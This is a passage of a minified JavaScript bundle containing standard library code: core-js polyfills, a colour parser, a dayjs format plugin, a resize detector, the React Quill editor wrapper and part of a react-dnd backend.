RegExp("hsva"+z),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/});function G(e){return!!U.CSS_UNIT.exec(e)}e.exports?e.exports=d:void 0===(r=function(){return d}.call(t,n,t,e))||(e.exports=r)}(Math)},function(e,t,n){"use strict";var r={}.propertyIsEnumerable,o=Object.getOwnPropertyDescriptor,i=o&&!r.call({1:2},1);t.f=i?function(e){var t=o(this,e);return!!t&&t.enumerable}:r},function(e,t,n){var r=n(7),o=n(20),i=r.document,a=o(i)&&o(i.createElement);e.exports=function(e){return a?i.createElement(e):{}}},function(e,t,n){var r=n(11),o=n(23),i=n(157),a=r(Function.toString);o(i.inspectSource)||(i.inspectSource=function(e){return a(e)}),e.exports=i.inspectSource},function(e,t,n){var r=n(90),o=n(101),i=r("keys");e.exports=function(e){return i[e]||(i[e]=o(e))}},function(e,t){t.f=Object.getOwnPropertySymbols},function(e,t,n){var r=n(7),o=n(22),i=n(37),a=n(15),l=n(89),s=n(111),u=r.TypeError;e.exports=function(e,t){var n=arguments.length<2?s(e):t;if(i(n))return a(o(n,e));throw u(l(e)+" is not iterable")}},function(e,t,n){var r=n(21)("iterator"),o=!1;try{var i=0,a={next:function(){return{done:!!i++}},return:function(){o=!0}};a[r]=function(){return this},Array.from(a,(function(){throw 2}))}catch(e){}e.exports=function(e,t){if(!t&&!o)return!1;var n=!1;try{var i={};i[r]=function(){return{next:function(){return{done:n=!0}}}},e(i)}catch(e){}return n}},function(e,t,n){"use strict";var r=n(40),o=n(75),i=n(110),a=n(43),l=n(26).f,s=n(167),u=n(42),c=n(14),f=a.set,d=a.getterFor("Array Iterator");e.exports=s(Array,"Array",(function(e,t){f(this,{type:"Array Iterator",target:r(e),index:0,kind:t})}),(function(){var e=d(this),t=e.target,n=e.kind,r=e.index++;return!t||r>=t.length?(e.target=void 0,{value:void 0,done:!0}):"keys"==n?{value:r,done:!1}:"values"==n?{value:t[r],done:!1}:{value:[r,t[r]],done:!1}}),"values");var p=i.Arguments=i.Array;if(o("keys"),o("values"),o("entries"),!u&&c&&"values"!==p.name)try{l(p,"name",{value:"values"})}catch(e){}},function(e,t,n){var r=n(7),o=n(37),i=n(27),a=n(100),l=n(32),s=r.TypeError,u=function(e){return function(t,n,r,u){o(n);var c=i(t),f=a(c),d=l(c),p=e?d-1:0,h=e?-1:1;if(r<2)for(;;){if(p in f){u=f[p],p+=h;break}if(p+=h,e?p<0:d<=p)throw s("Reduce of empty array with no initial value")}for(;e?p>=0:d>p;p+=h)p in f&&(u=n(u,f[p],p,c));return u}};e.exports={left:u(!1),right:u(!0)}},function(e,t,n){"use strict";var r=n(7),o=n(11),i=n(14),a=n(171),l=n(91),s=n(53),u=n(112),c=n(10),f=n(77),d=n(51),p=n(52),h=n(235),m=n(383),g=n(55),v=n(76),y=n(73).f,b=n(26).f,w=n(165),E=n(106),S=n(54),C=n(43),x=l.PROPER,O=l.CONFIGURABLE,A=C.get,_=C.set,T=r.ArrayBuffer,k=T,P=k&&k.prototype,M=r.DataView,R=M&&M.prototype,j=Object.prototype,L=r.Array,I=r.RangeError,N=o(w),D=o([].reverse),F=m.pack,B=m.unpack,H=function(e){return[255&e]},V=function(e){return[255&e,e>>8&255]},z=function(e){return[255&e,e>>8&255,e>>16&255,e>>24&255]},U=function(e){return e[3]<<24|e[2]<<16|e[1]<<8|e[0]},G=function(e){return F(e,23,4)},W=function(e){return F(e,52,8)},q=function(e,t){b(e.prototype,t,{get:function(){return A(this)[t]}})},Z=function(e,t,n,r){var o=h(n),i=A(e);if(o+t>i.byteLength)throw I("Wrong index");var a=A(i.buffer).bytes,l=o+i.byteOffset,s=E(a,l,l+t);return r?s:D(s)},Y=function(e,t,n,r,o,i){var a=h(n),l=A(e);if(a+t>l.byteLength)throw I("Wrong index");for(var s=A(l.buffer).bytes,u=a+l.byteOffset,c=r(+o),f=0;f<t;f++)s[u+f]=c[i?f:t-f-1]};if(a){var $=x&&"ArrayBuffer"!==T.name;if(c((function(){T(1)}))&&c((function(){new T(-1)}))&&!c((function(){return new T,new T(1.5),new T(NaN),$&&!O})))$&&O&&s(T,"name","ArrayBuffer");else{(k=function(e){return f(this,P),new T(h(e))}).prototype=P;for(var K,X=y(T),Q=0;X.length>Q;)(K=X[Q++])in k||s(k,K,T[K]);P.constructor=k}v&&g(R)!==j&&v(R,j);var J=new M(new k(2)),ee=o(R.setInt8);J.setInt8(0,2147483648),J.setInt8(1,2147483649),!J.getInt8(0)&&J.getInt8(1)||u(R,{setInt8:function(e,t){ee(this,e,t<<24>>24)},setUint8:function(e,t){ee(this,e,t<<24>>24)}},{unsafe:!0})}else P=(k=function(e){f(this,P);var t=h(e);_(this,{bytes:N(L(t),0),byteLength:t}),i||(this.byteLength=t)}).prototype,R=(M=function(e,t,n){f(this,R),f(e,P);var r=A(e).byteLength,o=d(t);if(o<0||o>r)throw I("Wrong offset");if(o+(n=void 0===n?r-o:p(n))>r)throw I("Wrong length");_(this,{buffer:e,byteLength:n,byteOffset:o}),i||(this.buffer=e,this.byteLength=n,this.byteOffset=o)}).prototype,i&&(q(k,"byteLength"),q(M,"buffer"),q(M,"byteLength"),q(M,"byteOffset")),u(R,{getInt8:function(e){return Z(this,1,e)[0]<<24>>24},getUint8:function(e){return Z(this,1,e)[0]},getInt16:function(e){var t=Z(this,2,e,arguments.length>1?arguments[1]:void 0);return(t[1]<<8|t[0])<<16>>16},getUint16:function(e){var t=Z(this,2,e,arguments.length>1?arguments[1]:void 0);return t[1]<<8|t[0]},getInt32:function(e){return U(Z(this,4,e,arguments.length>1?arguments[1]:void 0))},getUint32:function(e){return U(Z(this,4,e,arguments.length>1?arguments[1]:void 0))>>>0},getFloat32:function(e){return B(Z(this,4,e,arguments.length>1?arguments[1]:void 0),23)},getFloat64:function(e){return B(Z(this,8,e,arguments.length>1?arguments[1]:void 0),52)},setInt8:function(e,t){Y(this,1,e,H,t)},setUint8:function(e,t){Y(this,1,e,H,t)},setInt16:function(e,t){Y(this,2,e,V,t,arguments.length>2?arguments[2]:void 0)},setUint16:function(e,t){Y(this,2,e,V,t,arguments.length>2?arguments[2]:void 0)},setInt32:function(e,t){Y(this,4,e,z,t,arguments.length>2?arguments[2]:void 0)},setUint32:function(e,t){Y(this,4,e,z,t,arguments.length>2?arguments[2]:void 0)},setFloat32:function(e,t){Y(this,4,e,G,t,arguments.length>2?arguments[2]:void 0)},setFloat64:function(e,t){Y(this,8,e,W,t,arguments.length>2?arguments[2]:void 0)}});S(k,"ArrayBuffer"),S(M,"DataView"),e.exports={ArrayBuffer:k,DataView:M}},function(e,t,n){"use strict";var r=n(4),o=n(7),i=n(11),a=n(104),l=n(31),s=n(85),u=n(94),c=n(77),f=n(23),d=n(20),p=n(10),h=n(130),m=n(54),g=n(136);e.exports=function(e,t,n){var v=-1!==e.indexOf("Map"),y=-1!==e.indexOf("Weak"),b=v?"set":"add",w=o[e],E=w&&w.prototype,S=w,C={},x=function(e){var t=i(E[e]);l(E,e,"add"==e?function(e){return t(this,0===e?0:e),this}:"delete"==e?function(e){return!(y&&!d(e))&&t(this,0===e?0:e)}:"get"==e?function(e){return y&&!d(e)?void 0:t(this,0===e?0:e)}:"has"==e?function(e){return!(y&&!d(e))&&t(this,0===e?0:e)}:function(e,n){return t(this,0===e?0:e,n),this})};if(a(e,!f(w)||!(y||E.forEach&&!p((function(){(new w).entries().next()})))))S=n.getConstructor(t,e,v,b),s.enable();else if(a(e,!0)){var O=new S,A=O[b](y?{}:-0,1)!=O,_=p((function(){O.has(1)})),T=h((function(e){new w(e)})),k=!y&&p((function(){for(var e=new w,t=5;t--;)e[b](t,t);return!e.has(-0)}));T||((S=t((function(e,t){c(e,E);var n=g(new w,e,S);return null!=t&&u(t,n[b],{that:n,AS_ENTRIES:v}),n}))).prototype=E,E.constructor=S),(_||k)&&(x("delete"),x("has"),v&&x("get")),(k||A)&&x(b),y&&E.clear&&delete E.clear}return C[e]=S,r({global:!0,constructor:!0,forced:S!=w},C),m(S,e),y||n.setStrong(S,e,v),S}},function(e,t,n){var r=n(10),o=n(20),i=n(59),a=n(175),l=Object.isExtensible,s=r((function(){l(1)}));e.exports=s||a?function(e){return!!o(e)&&((!a||"ArrayBuffer"!=i(e))&&(!l||l(e)))}:l},function(e,t,n){var r=n(23),o=n(20),i=n(76);e.exports=function(e,t,n){var a,l;return i&&r(a=t.constructor)&&a!==n&&o(l=a.prototype)&&l!==n.prototype&&i(e,l),e}},function(e,t){var n=Math.expm1,r=Math.exp;e.exports=!n||n(10)>22025.465794806718||n(10)<22025.465794806718||-2e-17!=n(-2e-17)?function(e){return 0==(e=+e)?e:e>-1e-6&&e<1e-6?e+e*e/2:r(e)-1}:n},function(e,t){e.exports="\t\n\v\f\r \u2028\u2029\ufeff"},function(e,t,n){"use strict";var r=n(42),o=n(7),i=n(10),a=n(170);e.exports=r||!i((function(){if(!(a&&a<535)){var e=Math.random();__defineSetter__.call(null,e,(function(){})),delete o[e]}}))},function(e,t,n){var r,o,i,a,l=n(7),s=n(63),u=n(62),c=n(23),f=n(25),d=n(10),p=n(220),h=n(84),m=n(125),g=n(115),v=n(244),y=n(92),b=l.setImmediate,w=l.clearImmediate,E=l.process,S=l.Dispatch,C=l.Function,x=l.MessageChannel,O=l.String,A=0,_={};try{r=l.location}catch(e){}var T=function(e){if(f(_,e)){var t=_[e];delete _[e],t()}},k=function(e){return function(){T(e)}},P=function(e){T(e.data)},M=function(e){l.postMessage(O(e),r.protocol+"//"+r.host)};b&&w||(b=function(e){g(arguments.length,1);var t=c(e)?e:C(e),n=h(arguments,1);return _[++A]=function(){s(t,void 0,n)},o(A),A},w=function(e){delete _[e]},y?o=function(e){E.nextTick(k(e))}:S&&S.now?o=function(e){S.now(k(e))}:x&&!v?(a=(i=new x).port2,i.port1.onmessage=P,o=u(a.postMessage,a)):l.addEventListener&&c(l.postMessage)&&!l.importScripts&&r&&"file:"!==r.protocol&&!d(M)?(o=M,l.addEventListener("message",P,!1)):o="onreadystatechange"in m("script")?function(e){p.appendChild(m("script")).onreadystatechange=function(){p.removeChild(this),T(e)}}:function(e){setTimeout(k(e),0)}),e.exports={set:b,clear:w}},function(e,t,n){"use strict";var r,o,i=n(22),a=n(11),l=n(28),s=n(181),u=n(182),c=n(90),f=n(61),d=n(43).get,p=n(250),h=n(251),m=c("native-string-replace",String.prototype.replace),g=RegExp.prototype.exec,v=g,y=a("".charAt),b=a("".indexOf),w=a("".replace),E=a("".slice),S=(o=/b*/g,i(g,r=/a/,"a"),i(g,o,"a"),0!==r.lastIndex||0!==o.lastIndex),C=u.BROKEN_CARET,x=void 0!==/()??/.exec("")[1];(S||x||C||p||h)&&(v=function(e){var t,n,r,o,a,u,c,p=this,h=d(p),O=l(e),A=h.raw;if(A)return A.lastIndex=p.lastIndex,t=i(v,A,O),p.lastIndex=A.lastIndex,t;var _=h.groups,T=C&&p.sticky,k=i(s,p),P=p.source,M=0,R=O;if(T&&(k=w(k,"y",""),-1===b(k,"g")&&(k+="g"),R=E(O,p.lastIndex),p.lastIndex>0&&(!p.multiline||p.multiline&&"\n"!==y(O,p.lastIndex-1))&&(P="(?: "+P+")",R=" "+R,M++),n=new RegExp("^(?:"+P+")",k)),x&&(n=new RegExp("^"+P+"$(?!\\s)",k)),S&&(r=p.lastIndex),o=i(g,T?n:p,R),T?o?(o.input=E(o.input,M),o[0]=E(o[0],M),o.index=p.lastIndex,p.lastIndex+=o[0].length):p.lastIndex=0:S&&o&&(p.lastIndex=p.global?o.index+o[0].length:r),x&&o&&o.length>1&&i(m,o[0],n,(function(){for(a=1;a<arguments.length-2;a++)void 0===arguments[a]&&(o[a]=void 0)})),o&&_)for(o.groups=u=f(null),a=0;a<_.length;a++)u[(c=_[a])[0]]=o[c[1]];return o}),e.exports=v},function(e,t,n){var r=n(11),o=n(51),i=n(28),a=n(41),l=r("".charAt),s=r("".charCodeAt),u=r("".slice),c=function(e){return function(t,n){var r,c,f=i(a(t)),d=o(n),p=f.length;return d<0||d>=p?e?"":void 0:(r=s(f,d))<55296||r>56319||d+1===p||(c=s(f,d+1))<56320||c>57343?e?l(f,d):r:e?u(f,d,d+2):c-56320+(r-55296<<10)+65536}};e.exports={codeAt:c(!1),charAt:c(!0)}},function(e,t,n){"use strict";n(252);var r=n(11),o=n(31),i=n(141),a=n(10),l=n(21),s=n(53),u=l("species"),c=RegExp.prototype;e.exports=function(e,t,n,f){var d=l(e),p=!a((function(){var t={};return t[d]=function(){return 7},7!=""[e](t)})),h=p&&!a((function(){var t=!1,n=/a/;return"split"===e&&((n={}).constructor={},n.constructor[u]=function(){return n},n.flags="",n[d]=/./[d]),n.exec=function(){return t=!0,null},n[d](""),!t}));if(!p||!h||n){var m=r(/./[d]),g=t(d,""[e],(function(e,t,n,o,a){var l=r(e),s=t.exec;return s===i||s===c.exec?p&&!a?{done:!0,value:m(t,n,o)}:{done:!0,value:l(n,t,o)}:{done:!1}}));o(String.prototype,e,g[0]),o(c,d,g[1])}f&&s(c[d],"sham",!0)}},function(e,t,n){var r=n(7),o=n(22),i=n(15),a=n(23),l=n(59),s=n(141),u=r.TypeError;e.exports=function(e,t){var n=e.exec;if(a(n)){var r=o(n,e,t);return null!==r&&i(r),r}if("RegExp"===l(e))return o(s,e,t);throw u("RegExp#exec called on incompatible receiver")}},function(e,t,n){var r=n(24),o=n(113),i=r.TYPED_ARRAY_CONSTRUCTOR,a=r.aTypedArrayConstructor;e.exports=function(e){return a(o(e,e[i]))}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.dontSetMe=function(e,t,n){if(e[t])return new Error("Invalid prop ".concat(t," passed to ").concat(n," - do not set this, set it on the child."))},t.findInArray=function(e,t){for(var n=0,r=e.length;n<r;n++)if(t.apply(t,[e[n],n,e]))return e[n]},t.int=function(e){return parseInt(e,10)},t.isFunction=function(e){return"function"==typeof e||"[object Function]"===Object.prototype.toString.call(e)},t.isNum=function(e){return"number"==typeof e&&!isNaN(e)}},function(e,t,n){var r=n(276);e.exports=function(e,t){for(var n=e.length;n--;)if(r(e[n][0],t))return n;return-1}},function(e,t,n){var r=n(190),o=n(275);e.exports=function(e,t,n,i){var a=!n;n||(n={});for(var l=-1,s=t.length;++l<s;){var u=t[l],c=i?i(n[u],e[u],u,n,e):void 0;void 0===c&&(c=e[u]),a?o(n,u,c):r(n,u,c)}return n}},function(e,t,n){e.exports=function(){"use strict";var e={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"};return function(t,n,r){var o=n.prototype,i=o.format;r.en.formats=e,o.format=function(t){void 0===t&&(t="YYYY-MM-DDTHH:mm:ssZ");var n=this.$locale().formats,r=function(t,n){return t.replace(/(\[[^\]]+])|(LTS?|l{1,4}|L{1,4})/g,(function(t,r,o){var i=o&&o.toUpperCase();return r||n[o]||e[o]||n[i].replace(/(\[[^\]]+])|(MMMM|MM|DD|dddd)/g,(function(e,t,n){return t||n.slice(1)}))}))}(t,void 0===n?{}:n);return i.call(this,r)}}}()},function(e,t,n){"use strict";(function(e){function r(t,n){var r,o,i,a=void 0!==(r=void 0!==n?n:"undefined"!=typeof window?window:"undefined"!=typeof self?self:e).document&&r.document.attachEvent;if(!a){var l=(i=r.requestAnimationFrame||r.mozRequestAnimationFrame||r.webkitRequestAnimationFrame||function(e){return r.setTimeout(e,20)},function(e){return i(e)}),s=(o=r.cancelAnimationFrame||r.mozCancelAnimationFrame||r.webkitCancelAnimationFrame||r.clearTimeout,function(e){return o(e)}),u=function(e){var t=e.__resizeTriggers__,n=t.firstElementChild,r=t.lastElementChild,o=n.firstElementChild;r.scrollLeft=r.scrollWidth,r.scrollTop=r.scrollHeight,o.style.width=n.offsetWidth+1+"px",o.style.height=n.offsetHeight+1+"px",n.scrollLeft=n.scrollWidth,n.scrollTop=n.scrollHeight},c=function(e){if(!(e.target.className&&"function"==typeof e.target.className.indexOf&&e.target.className.indexOf("contract-trigger")<0&&e.target.className.indexOf("expand-trigger")<0)){var t=this;u(this),this.__resizeRAF__&&s(this.__resizeRAF__),this.__resizeRAF__=l((function(){(function(e){return e.offsetWidth!=e.__resizeLast__.width||e.offsetHeight!=e.__resizeLast__.height})(t)&&(t.__resizeLast__.width=t.offsetWidth,t.__resizeLast__.height=t.offsetHeight,t.__resizeListeners__.forEach((function(n){n.call(t,e)})))}))}},f=!1,d="",p="animationstart",h="Webkit Moz O ms".split(" "),m="webkitAnimationStart animationstart oAnimationStart MSAnimationStart".split(" "),g=r.document.createElement("fakeelement");if(void 0!==g.style.animationName&&(f=!0),!1===f)for(var v=0;v<h.length;v++)if(void 0!==g.style[h[v]+"AnimationName"]){d="-"+h[v].toLowerCase()+"-",p=m[v],f=!0;break}var y="resizeanim",b="@"+d+"keyframes "+y+" { from { opacity: 0; } to { opacity: 0; } } ",w=d+"animation: 1ms "+y+"; "}return{addResizeListener:function(e,n){if(a)e.attachEvent("onresize",n);else{if(!e.__resizeTriggers__){var o=e.ownerDocument,i=r.getComputedStyle(e);i&&"static"==i.position&&(e.style.position="relative"),function(e){if(!e.getElementById("detectElementResize")){var n=(b||"")+".resize-triggers { "+(w||"")+'visibility: hidden; opacity: 0; } .resize-triggers, .resize-triggers > div, .contract-trigger:before { content: " "; display: block; position: absolute; top: 0; left: 0; height: 100%; width: 100%; overflow: hidden; z-index: -1; } .resize-triggers > div { background: #eee; overflow: auto; } .contract-trigger:before { width: 200%; height: 200%; }',r=e.head||e.getElementsByTagName("head")[0],o=e.createElement("style");o.id="detectElementResize",o.type="text/css",null!=t&&o.setAttribute("nonce",t),o.styleSheet?o.styleSheet.cssText=n:o.appendChild(e.createTextNode(n)),r.appendChild(o)}}(o),e.__resizeLast__={},e.__resizeListeners__=[],(e.__resizeTriggers__=o.createElement("div")).className="resize-triggers";var l='<div class="expand-trigger"><div></div></div><div class="contract-trigger"></div>';if(window.trustedTypes){var s=trustedTypes.createPolicy("react-virtualized-auto-sizer",{createHTML:function(){return l}});e.__resizeTriggers__.innerHTML=s.createHTML("")}else e.__resizeTriggers__.innerHTML=l;e.appendChild(e.__resizeTriggers__),u(e),e.addEventListener("scroll",c,!0),p&&(e.__resizeTriggers__.__animationListener__=function(t){t.animationName==y&&u(e)},e.__resizeTriggers__.addEventListener(p,e.__resizeTriggers__.__animationListener__))}e.__resizeListeners__.push(n)}},removeResizeListener:function(e,t){if(a)e.detachEvent("onresize",t);else if(e.__resizeListeners__.splice(e.__resizeListeners__.indexOf(t),1),!e.__resizeListeners__.length){e.removeEventListener("scroll",c,!0),e.__resizeTriggers__.__animationListener__&&(e.__resizeTriggers__.removeEventListener(p,e.__resizeTriggers__.__animationListener__),e.__resizeTriggers__.__animationListener__=null);try{e.__resizeTriggers__=!e.removeChild(e.__resizeTriggers__)}catch(e){}}}}}n.d(t,"a",(function(){return r}))}).call(this,n(47))},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=function(e,t){return(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}),i=this&&this.__assign||function(){return(i=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},a=this&&this.__spreadArrays||function(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),o=0;for(t=0;t<n;t++)for(var i=arguments[t],a=0,l=i.length;a<l;a++,o++)r[o]=i[a];return r},l=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}},s=l(n(0)),u=l(n(16)),c=l(n(1009)),f=l(n(64)),d=function(e){function t(t){var n=e.call(this,t)||this;n.dirtyProps=["modules","formats","bounds","theme","children"],n.cleanProps=["id","className","style","placeholder","tabIndex","onChange","onChangeSelection","onFocus","onBlur","onKeyPress","onKeyDown","onKeyUp"],n.state={generation:0},n.selection=null,n.onEditorChange=function(e,t,r,o){var i,a,l,s;"text-change"===e?null===(a=(i=n).onEditorChangeText)||void 0===a||a.call(i,n.editor.root.innerHTML,t,o,n.unprivilegedEditor):"selection-change"===e&&(null===(s=(l=n).onEditorChangeSelection)||void 0===s||s.call(l,t,o,n.unprivilegedEditor))};var r=n.isControlled()?t.value:t.defaultValue;return n.value=null!=r?r:"",n}return o(t,e),t.prototype.validateProps=function(e){var t;if(s.default.Children.count(e.children)>1)throw new Error("The Quill editing area can only be composed of a single React element.");if(s.default.Children.count(e.children)&&"textarea"===(null===(t=s.default.Children.only(e.children))||void 0===t?void 0:t.type))throw new Error("Quill does not support editing on a <textarea>. Use a <div> instead.");if(this.lastDeltaChangeSet&&e.value===this.lastDeltaChangeSet)throw new Error("You are passing the `delta` object from the `onChange` event back as `value`. You most probably want `editor.getContents()` instead. See: https://github.com/zenoamaro/react-quill#using-deltas")},t.prototype.shouldComponentUpdate=function(e,t){var n,r=this;if(this.validateProps(e),!this.editor||this.state.generation!==t.generation)return!0;if("value"in e){var o=this.getEditorContents(),i=null!=(n=e.value)?n:"";this.isEqualValue(i,o)||this.setEditorContents(this.editor,i)}return e.readOnly!==this.props.readOnly&&this.setEditorReadOnly(this.editor,e.readOnly),a(this.cleanProps,this.dirtyProps).some((function(t){return!c.default(e[t],r.props[t])}))},t.prototype.shouldComponentRegenerate=function(e){var t=this;return this.dirtyProps.some((function(n){return!c.default(e[n],t.props[n])}))},t.prototype.componentDidMount=function(){this.instantiateEditor(),this.setEditorContents(this.editor,this.getEditorContents())},t.prototype.componentWillUnmount=function(){this.destroyEditor()},t.prototype.componentDidUpdate=function(e,t){var n=this;if(this.editor&&this.shouldComponentRegenerate(e)){var r=this.editor.getContents(),o=this.editor.getSelection();this.regenerationSnapshot={delta:r,selection:o},this.setState({generation:this.state.generation+1}),this.destroyEditor()}if(this.state.generation!==t.generation){var i=this.regenerationSnapshot,a=(r=i.delta,i.selection);delete this.regenerationSnapshot,this.instantiateEditor();var l=this.editor;l.setContents(r),p((function(){return n.setEditorSelection(l,a)}))}},t.prototype.instantiateEditor=function(){this.editor||(this.editor=this.createEditor(this.getEditingArea(),this.getEditorConfig()))},t.prototype.destroyEditor=function(){this.editor&&(this.unhookEditor(this.editor),delete this.editor)},t.prototype.isControlled=function(){return"value"in this.props},t.prototype.getEditorConfig=function(){return{bounds:this.props.bounds,formats:this.props.formats,modules:this.props.modules,placeholder:this.props.placeholder,readOnly:this.props.readOnly,scrollingContainer:this.props.scrollingContainer,tabIndex:this.props.tabIndex,theme:this.props.theme}},t.prototype.getEditor=function(){if(!this.editor)throw new Error("Accessing non-instantiated editor");return this.editor},t.prototype.createEditor=function(e,t){var n=new f.default(e,t);return null!=t.tabIndex&&this.setEditorTabIndex(n,t.tabIndex),this.hookEditor(n),n},t.prototype.hookEditor=function(e){this.unprivilegedEditor=this.makeUnprivilegedEditor(e),e.on("editor-change",this.onEditorChange)},t.prototype.unhookEditor=function(e){e.off("editor-change",this.onEditorChange)},t.prototype.getEditorContents=function(){return this.value},t.prototype.getEditorSelection=function(){return this.selection},t.prototype.isDelta=function(e){return e&&e.ops},t.prototype.isEqualValue=function(e,t){return this.isDelta(e)&&this.isDelta(t)?c.default(e.ops,t.ops):c.default(e,t)},t.prototype.setEditorContents=function(e,t){var n=this;this.value=t;var r=this.getEditorSelection();"string"==typeof t?e.setContents(e.clipboard.convert(t)):e.setContents(t),p((function(){return n.setEditorSelection(e,r)}))},t.prototype.setEditorSelection=function(e,t){if(this.selection=t,t){var n=e.getLength();t.index=Math.max(0,Math.min(t.index,n-1)),t.length=Math.max(0,Math.min(t.length,n-1-t.index)),e.setSelection(t)}},t.prototype.setEditorTabIndex=function(e,t){var n,r;(null===(r=null===(n=e)||void 0===n?void 0:n.scroll)||void 0===r?void 0:r.domNode)&&(e.scroll.domNode.tabIndex=t)},t.prototype.setEditorReadOnly=function(e,t){t?e.disable():e.enable()},t.prototype.makeUnprivilegedEditor=function(e){var t=e;return{getHTML:function(){return t.root.innerHTML},getLength:t.getLength.bind(t),getText:t.getText.bind(t),getContents:t.getContents.bind(t),getSelection:t.getSelection.bind(t),getBounds:t.getBounds.bind(t)}},t.prototype.getEditingArea=function(){if(!this.editingArea)throw new Error("Instantiating on missing editing area");var e=u.default.findDOMNode(this.editingArea);if(!e)throw new Error("Cannot find element for editing area");if(3===e.nodeType)throw new Error("Editing area cannot be a text node");return e},t.prototype.renderEditingArea=function(){var e=this,t=this.props,n=t.children,r=t.preserveWhitespace,o={key:this.state.generation,ref:function(t){e.editingArea=t}};return s.default.Children.count(n)?s.default.cloneElement(s.default.Children.only(n),o):r?s.default.createElement("pre",i({},o)):s.default.createElement("div",i({},o))},t.prototype.render=function(){var e;return s.default.createElement("div",{id:this.props.id,style:this.props.style,key:this.state.generation,className:"quill "+(e=this.props.className,null!=e?e:""),onKeyPress:this.props.onKeyPress,onKeyDown:this.props.onKeyDown,onKeyUp:this.props.onKeyUp},this.renderEditingArea())},t.prototype.onEditorChangeText=function(e,t,n,r){var o,i;if(this.editor){var a=this.isDelta(this.value)?r.getContents():r.getHTML();a!==this.getEditorContents()&&(this.lastDeltaChangeSet=t,this.value=a,null===(i=(o=this.props).onChange)||void 0===i||i.call(o,e,t,n,r))}},t.prototype.onEditorChangeSelection=function(e,t,n){var r,o,i,a,l,s;if(this.editor){var u=this.getEditorSelection(),f=!u&&e,d=u&&!e;c.default(e,u)||(this.selection=e,null===(o=(r=this.props).onChangeSelection)||void 0===o||o.call(r,e,t,n),f?null===(a=(i=this.props).onFocus)||void 0===a||a.call(i,e,t,n):d&&(null===(s=(l=this.props).onBlur)||void 0===s||s.call(l,u,t,n)))}},t.prototype.focus=function(){this.editor&&this.editor.focus()},t.prototype.blur=function(){this.editor&&(this.selection=null,this.editor.blur())},t.displayName="React Quill",t.Quill=f.default,t.defaultProps={theme:"snow",modules:{},readOnly:!1},t}(s.default.Component);function p(e){Promise.resolve().then(e)}e.exports=d},function(e,t,n){"use strict";e.exports=function e(t,n){if(t===n)return!0;if(t&&n&&"object"==typeof t&&"object"==typeof n){if(t.constructor!==n.constructor)return!1;var r,o,i;if(Array.isArray(t)){if((r=t.length)!=n.length)return!1;for(o=r;0!=o--;)if(!e(t[o],n[o]))return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&&t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((r=(i=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(o=r;0!=o--;)if(!Object.prototype.hasOwnProperty.call(n,i[o]))return!1;for(o=r;0!=o--;){var a=i[o];if(!e(t[a],n[a]))return!1}return!0}return t!=t&&n!=n}},function(e,t,n){"use strict";n.d(t,"a",(function(){return N}));var r={};function o(e){var t=null;return function(){return null==t&&(t=e()),t}}function i(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}n.r(r),n.d(r,"FILE",(function(){return v})),n.d(r,"URL",(function(){return y})),n.d(r,"TEXT",(function(){return b})),n.d(r,"HTML",(function(){return w}));var l=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),a(this,"entered",[]),a(this,"isNodeInDocument",void 0),this.isNodeInDocument=t}var t,n,r;return t=e,(n=[{key:"enter",value:function(e){var t=this,n=this.entered.length;return this.entered=function(e,t){var n=new Set,r=function(e){return n.add(e)};e.forEach(r),t.forEach(r);var o=[];return n.forEach((function(e){return o.push(e)})),o}(this.entered.filter((function(n){return t.isNodeInDocument(n)&&(!n.contains||n.contains(e))})),[e]),0===n&&this.entered.length>0}},{key:"leave",value:function(e){var t,n,r=this.entered.length;return this.entered=(t=this.entered.filter(this.isNodeInDocument),n=e,t.filter((function(e){return e!==n}))),r>0&&0===this.entered.length}},{key:"reset",value:function(){this.entered=[]}}])&&i(t.prototype,n),r&&i(t,r),e}(),s=o((function(){return/firefox/i.test(navigator.userAgent)})),u=o((function(){return Boolean(window.safari)}));function c(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function f(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var d=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),f(this,"xs",void 0),f(this,"ys",void 0),f(this,"c1s",void 0),f(this,"c2s",void 0),f(this,"c3s",void 0);for(var r=t.length,o=[],i=0;i<r;i++)o.push(i);o.sort((function(e,n){return t[e]<t[n]?-1:1}));for(var 